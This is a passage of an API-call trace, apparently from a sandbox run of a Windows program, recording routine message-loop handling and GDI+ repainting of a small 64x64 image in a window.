lParam=0x1b902b2) returned 0x1 [0129.224] SetCursor (hCursor=0x10003) returned 0x10003 [0129.224] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.224] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.224] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x90005b) returned 0x0 [0129.224] GetKeyState (nVirtKey=1) returned 0 [0129.224] GetKeyState (nVirtKey=2) returned 0 [0129.224] GetKeyState (nVirtKey=4) returned 0 [0129.225] GetKeyState (nVirtKey=5) returned 0 [0129.225] GetKeyState (nVirtKey=6) returned 0 [0129.225] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.225] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.225] WaitMessage () returned 1 [0129.226] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.226] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.226] IsWindowUnicode (hWnd=0x20312) returned 1 [0129.226] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.226] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.227] SetCursor (hCursor=0x10003) returned 0x10003 [0129.227] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.227] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.227] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x90005b) returned 0x0 [0129.227] GetKeyState (nVirtKey=1) returned 0 [0129.227] GetKeyState (nVirtKey=2) returned 0 [0129.227] GetKeyState (nVirtKey=4) returned 0 [0129.227] GetKeyState (nVirtKey=5) returned 0 [0129.227] GetKeyState (nVirtKey=6) returned 0 [0129.227] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.227] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.227] WaitMessage () returned 1 [0129.235] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.235] IsWindowUnicode (hWnd=0x2031e) returned 1 [0129.235] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.235] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.235] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.235] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0129.235] GetCurrentThreadId () returned 0xec0 [0129.235] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0129.235] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.235] IsWindowUnicode (hWnd=0x2031e) returned 1 [0129.235] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.235] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.235] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.236] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0129.236] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0129.236] CreateCompatibleDC (hdc=0x3010b83) returned 0x410107cb [0129.236] SelectObject (hdc=0x410107cb, h=0x1a05067e) returned 0x185000f [0129.236] GdipCreateFromHDC (hdc=0x410107cb, graphics=0x15daf0) returned 0x0 [0129.236] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0129.236] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0129.236] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0129.236] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0129.236] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0129.236] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.236] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0129.237] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.237] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.237] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0129.237] GdipCreateRegion (region=0x15dc20) returned 0x0 [0129.237] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0129.237] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0129.237] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0129.237] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0129.238] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.238] GetSystemMetrics (nIndex=42) returned 0 [0129.238] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0129.238] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0129.238] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0129.238] CoTaskMemFree (pv=0x1e7ac120) [0129.238] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0129.238] GdipCreateRegion (region=0x15d710) returned 0x0 [0129.238] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0129.238] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0129.238] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0129.238] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0129.238] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.238] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0129.239] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.239] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0129.239] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.239] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0129.239] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.240] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.240] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0129.240] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0129.240] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0129.240] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0129.240] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.240] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0129.240] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0129.240] GetCurrentObject (hdc=0x410107cb, type=0x1) returned 0x1b00017 [0129.240] GetCurrentObject (hdc=0x410107cb, type=0x2) returned 0x1900010 [0129.240] GetCurrentObject (hdc=0x410107cb, type=0x7) returned 0x1a05067e [0129.240] GetCurrentObject (hdc=0x410107cb, type=0x6) returned 0x18a002e [0129.240] SaveDC (hdc=0x410107cb) returned 1 [0129.240] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4d040b8a [0129.241] GetClipRgn (hdc=0x410107cb, hrgn=0x4d040b8a) returned 0 [0129.241] SelectClipRgn (hdc=0x410107cb, hrgn=0x7d0407c3) returned 2 [0129.241] DeleteObject (ho=0x4d040b8a) returned 1 [0129.241] DeleteObject (ho=0x7d0407c3) returned 1 [0129.241] OffsetViewportOrgEx (in: hdc=0x410107cb, x=0, y=0, lppt=0x27dcb48 | out: lppt=0x27dcb48) returned 1 [0129.241] GetNearestColor (hdc=0x410107cb, color=0xffffff) returned 0xffffff [0129.241] CreateSolidBrush (color=0xffffff) returned 0x55100190 [0129.241] FillRect (hDC=0x410107cb, lprc=0x15d7c0, hbr=0x55100190) returned 1 [0129.241] DeleteObject (ho=0x55100190) returned 1 [0129.241] RestoreDC (hdc=0x410107cb, nSavedDC=-1) returned 1 [0129.241] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.241] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x410107cb) returned 0x0 [0129.241] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd3c0dbd) returned 0x0 [0129.242] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.242] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0129.242] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0129.242] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.242] GetSystemMetrics (nIndex=42) returned 0 [0129.242] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0129.242] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0129.242] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0129.242] CoTaskMemFree (pv=0x1e7ac120) [0129.242] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x0) returned 0x0 [0129.244] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0129.244] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0129.244] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0129.244] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0129.244] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x410107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0129.244] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.244] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x410107cb) returned 0x0 [0129.244] SelectObject (hdc=0x410107cb, h=0x185000f) returned 0x1a05067e [0129.244] DeleteDC (hdc=0x410107cb) returned 1 [0129.244] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.244] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0129.244] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0129.244] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0129.244] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.245] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.245] WaitMessage () returned 1 [0129.246] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.247] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.247] IsWindowUnicode (hWnd=0x20312) returned 1 [0129.247] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.247] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.247] SetCursor (hCursor=0x10003) returned 0x10003 [0129.247] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.247] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.247] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x90005b) returned 0x0 [0129.247] GetKeyState (nVirtKey=1) returned 0 [0129.247] GetKeyState (nVirtKey=2) returned 0 [0129.247] GetKeyState (nVirtKey=4) returned 0 [0129.247] GetKeyState (nVirtKey=5) returned 0 [0129.247] GetKeyState (nVirtKey=6) returned 0 [0129.247] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.248] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.248] WaitMessage () returned 1 [0129.256] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.256] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.256] IsWindowUnicode (hWnd=0x20312) returned 1 [0129.256] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.256] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x84, wParam=0x0, lParam=0x1b902b2) returned 0x1 [0129.256] SetCursor (hCursor=0x10003) returned 0x10003 [0129.257] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.257] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.257] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x20312, Msg=0x200, wParam=0x0, lParam=0x90005b) returned 0x0 [0129.257] GetKeyState (nVirtKey=1) returned 0 [0129.257] GetKeyState (nVirtKey=2) returned 0 [0129.257] GetKeyState (nVirtKey=4) returned 0 [0129.257] GetKeyState (nVirtKey=5) returned 0 [0129.257] GetKeyState (nVirtKey=6) returned 0 [0129.257] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.257] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.257] WaitMessage () returned 1 [0129.422] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.423] IsWindowUnicode (hWnd=0x2031e) returned 1 [0129.423] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.423] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.423] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.423] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0129.423] GetCurrentThreadId () returned 0xec0 [0129.423] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0129.423] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.423] IsWindowUnicode (hWnd=0x2031e) returned 1 [0129.423] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.423] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.423] DispatchMessageW (lpMsg=0x15e910) returned 0xffffff [0129.423] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0129.423] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0129.424] CreateCompatibleDC (hdc=0x3010b83) returned 0x440107cb [0129.424] SelectObject (hdc=0x440107cb, h=0x1a05067e) returned 0x185000f [0129.424] GdipCreateFromHDC (hdc=0x440107cb, graphics=0x15daf0) returned 0x0 [0129.424] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0129.424] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0129.424] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0129.424] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0129.424] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0129.424] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.424] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0129.425] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.425] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.425] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0129.425] GdipCreateRegion (region=0x15dc20) returned 0x0 [0129.425] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0129.425] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0129.425] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0129.425] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0129.425] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.425] GetSystemMetrics (nIndex=42) returned 0 [0129.425] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0129.425] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0129.426] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0129.426] CoTaskMemFree (pv=0x1e7ac120) [0129.426] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0129.426] GdipCreateRegion (region=0x15d710) returned 0x0 [0129.426] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0129.426] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0129.426] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0129.426] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0129.426] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.426] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0129.427] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.427] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0129.427] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.427] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0129.427] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.427] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.427] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0129.427] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0129.427] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0129.427] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0129.428] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.428] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0129.428] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0129.428] GetCurrentObject (hdc=0x440107cb, type=0x1) returned 0x1b00017 [0129.428] GetCurrentObject (hdc=0x440107cb, type=0x2) returned 0x1900010 [0129.428] GetCurrentObject (hdc=0x440107cb, type=0x7) returned 0x1a05067e [0129.428] GetCurrentObject (hdc=0x440107cb, type=0x6) returned 0x18a002e [0129.428] SaveDC (hdc=0x440107cb) returned 1 [0129.428] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x7e0407c3 [0129.428] GetClipRgn (hdc=0x440107cb, hrgn=0x7e0407c3) returned 0 [0129.428] SelectClipRgn (hdc=0x440107cb, hrgn=0x4e040b8a) returned 2 [0129.429] DeleteObject (ho=0x7e0407c3) returned 1 [0129.429] DeleteObject (ho=0x4e040b8a) returned 1 [0129.429] OffsetViewportOrgEx (in: hdc=0x440107cb, x=0, y=0, lppt=0x27dda28 | out: lppt=0x27dda28) returned 1 [0129.429] GetNearestColor (hdc=0x440107cb, color=0xffffff) returned 0xffffff [0129.429] CreateSolidBrush (color=0xffffff) returned 0x56100190 [0129.429] FillRect (hDC=0x440107cb, lprc=0x15d7c0, hbr=0x56100190) returned 1 [0129.429] DeleteObject (ho=0x56100190) returned 1 [0129.429] RestoreDC (hdc=0x440107cb, nSavedDC=-1) returned 1 [0129.430] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.430] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x440107cb) returned 0x0 [0129.430] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd3a0dbd) returned 0x0 [0129.430] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.430] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0129.430] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0129.430] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.430] GetSystemMetrics (nIndex=42) returned 0 [0129.430] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0129.430] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0129.430] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0129.430] CoTaskMemFree (pv=0x1e7ac120) [0129.430] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0129.430] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0129.431] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0129.431] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0129.431] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x440107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0129.431] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.431] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x440107cb) returned 0x0 [0129.431] SelectObject (hdc=0x440107cb, h=0x185000f) returned 0x1a05067e [0129.431] DeleteDC (hdc=0x440107cb) returned 1 [0129.431] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.431] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0129.431] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0129.431] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0129.431] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.432] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.432] WaitMessage () returned 1 [0129.594] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.594] IsWindowUnicode (hWnd=0x2031e) returned 1 [0129.594] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.594] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.595] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.595] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0129.595] GetCurrentThreadId () returned 0xec0 [0129.595] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0129.595] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.595] IsWindowUnicode (hWnd=0x2031e) returned 1 [0129.595] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.595] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.595] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.595] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0129.595] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0129.596] CreateCompatibleDC (hdc=0x3010b83) returned 0x450107cb [0129.596] SelectObject (hdc=0x450107cb, h=0x1a05067e) returned 0x185000f [0129.596] GdipCreateFromHDC (hdc=0x450107cb, graphics=0x15daf0) returned 0x0 [0129.596] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0129.596] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0129.596] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0129.596] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0129.596] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0129.596] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.596] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0129.597] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.597] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.597] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0129.597] GdipCreateRegion (region=0x15dc20) returned 0x0 [0129.597] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0129.597] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0129.597] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0129.598] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0129.598] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.598] 